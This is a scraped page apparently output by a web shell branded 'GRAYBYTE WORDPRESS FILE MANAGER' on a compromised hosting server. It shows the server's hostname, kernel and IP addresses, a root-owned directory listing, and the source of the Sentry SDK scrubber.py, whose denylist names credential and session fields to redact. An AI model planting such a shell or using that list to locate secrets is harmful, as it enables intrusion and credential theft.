✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.36
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/hc_python/lib/python3.12/site-packages/sentry_sdk//scrubber.py
from typing import TYPE_CHECKING, Dict, List, cast

from sentry_sdk.utils import (
    AnnotatedValue,
    capture_internal_exceptions,
    iter_event_frames,
)

if TYPE_CHECKING:
    from typing import Optional

    from sentry_sdk._types import Event


DEFAULT_DENYLIST = [
    # stolen from relay
    "password",
    "passwd",
    "secret",
    "api_key",
    "apikey",
    "auth",
    "credentials",
    "mysql_pwd",
    "privatekey",
    "private_key",
    "token",
    "session",
    # django
    "csrftoken",
    "sessionid",
    # wsgi
    "x_csrftoken",
    "x_forwarded_for",
    "set_cookie",
    "cookie",
    "authorization",
    "proxy-authorization",
    "x_api_key",
    # other common names used in the wild
    "aiohttp_session",  # aiohttp
    "connect.sid",  # Express
    "csrf_token",  # Pyramid
    "csrf",  # (this is a cookie name used in accepted answers on stack overflow)
    "_csrf",  # Express
    "_csrf_token",  # Bottle
    "PHPSESSID",  # PHP
    "_session",  # Sanic
    "symfony",  # Symfony
    "user_session",  # Vue
    "_xsrf",  # Tornado
    "XSRF-TOKEN",  # Angular, Laravel
]

DEFAULT_PII_DENYLIST = [
    "x_forwarded_for",
    "x_real_ip",
    "ip_address",
    "remote_addr",
]


class EventScrubber:
    def __init__(
        self,
        denylist: "Optional[List[str]]" = None,
        recursive: bool = False,
        send_default_pii: bool = False,
        pii_denylist: "Optional[List[str]]" = None,
    ) -> None:
        """
        A scrubber that goes through the event payload and removes sensitive data configured through denylists.

        :param denylist: A security denylist that is always scrubbed, defaults to DEFAULT_DENYLIST.
        :param recursive: Whether to scrub the event payload recursively, default False.
        :param send_default_pii: Whether pii is sending is on, pii fields are not scrubbed.
        :param pii_denylist: The denylist to use for scrubbing when pii is not sent, defaults to DEFAULT_PII_DENYLIST.
        """
        self.denylist = DEFAULT_DENYLIST.copy() if denylist is None else denylist

        if not send_default_pii:
            pii_denylist = (
                DEFAULT_PII_DENYLIST.copy() if pii_denylist is None else pii_denylist
            )
            self.denylist += pii_denylist

        self.denylist = [x.lower() for x in self.denylist]
        self.recursive = recursive

    def scrub_list(self, lst: object) -> None:
        """
        If a list is passed to this method, the method recursively searches the list and any
        nested lists for any dictionaries. The method calls scrub_dict on all dictionaries
        it finds.
        If the parameter passed to this method is not a list, the method does nothing.
        """
        if not isinstance(lst, list):
            return

        for v in lst:
            self.scrub_dict(v)  # no-op unless v is a dict
            self.scrub_list(v)  # no-op unless v is a list

    def scrub_dict(self, d: object) -> None:
        """
        If a dictionary is passed to this method, the method scrubs the dictionary of any
        sensitive data. The method calls itself recursively on any nested dictionaries (
        including dictionaries nested in lists) if self.recursive is True.
        This method does nothing if the parameter passed to it is not a dictionary.
        """
        if not isinstance(d, dict):
            return

        for k, v in d.items():
            # The cast is needed because mypy is not smart enough to figure out that k must be a
            # string after the isinstance check.
            if isinstance(k, str) and k.lower() in self.denylist:
                d[k] = AnnotatedValue.substituted_because_contains_sensitive_data()
            elif self.recursive:
                self.scrub_dict(v)  # no-op unless v is a dict
                self.scrub_list(v)  # no-op unless v is a list

    def scrub_request(self, event: "Event") -> None:
        with capture_internal_exceptions():
            if "request" in event:
                if "headers" in event["request"]:
                    self.scrub_dict(event["request"]["headers"])
                if "cookies" in event["request"]:
                    self.scrub_dict(event["request"]["cookies"])
                if "data" in event["request"]:
                    self.scrub_dict(event["request"]["data"])

    def scrub_extra(self, event: "Event") -> None:
        with capture_internal_exceptions():
            if "extra" in event:
                self.scrub_dict(event["extra"])

    def scrub_user(self, event: "Event") -> None:
        with capture_internal_exceptions():
            if "user" in event:
                user = event["user"]
                if "ip_address" in self.denylist and isinstance(user, dict):
                    user.pop("ip_address", None)
                self.scrub_dict(user)

    def scrub_breadcrumbs(self, event: "Event") -> None:
        with capture_internal_exceptions():
            if "breadcrumbs" in event:
                if (
                    not isinstance(event["breadcrumbs"], AnnotatedValue)
                    and "values" in event["breadcrumbs"]
                ):
                    for value in event["breadcrumbs"]["values"]:
                        if "data" in value:
                            self.scrub_dict(value["data"])

    def scrub_frames(self, event: "Event") -> None:
        with capture_internal_exceptions():
            for frame in iter_event_frames(event):
                if "vars" in frame:
                    self.scrub_dict(frame["vars"])

    def scrub_spans(self, event: "Event") -> None:
        with capture_internal_exceptions():
            if "spans" in event:
                for span in cast(List[Dict[str, object]], event["spans"]):
                    if "data" in span:
                        self.scrub_dict(span["data"])

    def scrub_event(self, event: "Event") -> None:
        self.scrub_request(event)
        self.scrub_extra(event)
        self.scrub_user(event)
        self.scrub_breadcrumbs(event)
        self.scrub_frames(event)
        self.scrub_spans(event)


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
11 Jun 2026 5.00 AM
root / root
0755
__pycache__
--
11 Jun 2026 5.00 AM
root / root
0755
ai
--
11 Jun 2026 5.00 AM
root / root
0755
crons
--
11 Jun 2026 5.00 AM
root / root
0755
integrations
--
11 Jun 2026 5.00 AM
root / root
0755
profiler
--
11 Jun 2026 5.00 AM
root / root
0755
__init__.py
1.462 KB
11 Jun 2026 5.00 AM
root / root
0644
_batcher.py
5.702 KB
11 Jun 2026 5.00 AM
root / root
0644
_compat.py
3 KB
11 Jun 2026 5.00 AM
root / root
0644
_init_implementation.py
2.432 KB
11 Jun 2026 5.00 AM
root / root
0644
_log_batcher.py
1.876 KB
11 Jun 2026 5.00 AM
root / root
0644
_lru_cache.py
1.14 KB
11 Jun 2026 5.00 AM
root / root
0644
_metrics_batcher.py
1.208 KB
11 Jun 2026 5.00 AM
root / root
0644
_queue.py
10.979 KB
11 Jun 2026 5.00 AM
root / root
0644
_span_batcher.py
8.122 KB
11 Jun 2026 5.00 AM
root / root
0644
_types.py
13.161 KB
11 Jun 2026 5.00 AM
root / root
0644
_werkzeug.py
3.852 KB
11 Jun 2026 5.00 AM
root / root
0644
api.py
15.588 KB
11 Jun 2026 5.00 AM
root / root
0644
attachments.py
2.951 KB
11 Jun 2026 5.00 AM
root / root
0644
client.py
49.95 KB
11 Jun 2026 5.00 AM
root / root
0644
consts.py
61.951 KB
11 Jun 2026 5.00 AM
root / root
0644
debug.py
0.937 KB
11 Jun 2026 5.00 AM
root / root
0644
envelope.py
9.369 KB
11 Jun 2026 5.00 AM
root / root
0644
feature_flags.py
2.503 KB
11 Jun 2026 5.00 AM
root / root
0644
hub.py
24.542 KB
11 Jun 2026 5.00 AM
root / root
0644
logger.py
2.604 KB
11 Jun 2026 5.00 AM
root / root
0644
metrics.py
1.418 KB
11 Jun 2026 5.00 AM
root / root
0644
monitor.py
4.469 KB
11 Jun 2026 5.00 AM
root / root
0644
py.typed
0 KB
11 Jun 2026 5.00 AM
root / root
0644
scope.py
74.089 KB
11 Jun 2026 5.00 AM
root / root
0644
scrubber.py
5.991 KB
11 Jun 2026 5.00 AM
root / root
0644
serializer.py
12.818 KB
11 Jun 2026 5.00 AM
root / root
0644
session.py
5.085 KB
11 Jun 2026 5.00 AM
root / root
0644
sessions.py
8.593 KB
11 Jun 2026 5.00 AM
root / root
0644
spotlight.py
11.85 KB
11 Jun 2026 5.00 AM
root / root
0644
traces.py
25.079 KB
11 Jun 2026 5.00 AM
root / root
0644
tracing.py
50.335 KB
11 Jun 2026 5.00 AM
root / root
0644
tracing_utils.py
54.361 KB
11 Jun 2026 5.00 AM
root / root
0644
transport.py
44.414 KB
11 Jun 2026 5.00 AM
root / root
0644
types.py
1.239 KB
11 Jun 2026 5.00 AM
root / root
0644
utils.py
65.96 KB
11 Jun 2026 5.00 AM
root / root
0644
worker.py
10.905 KB
11 Jun 2026 5.00 AM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF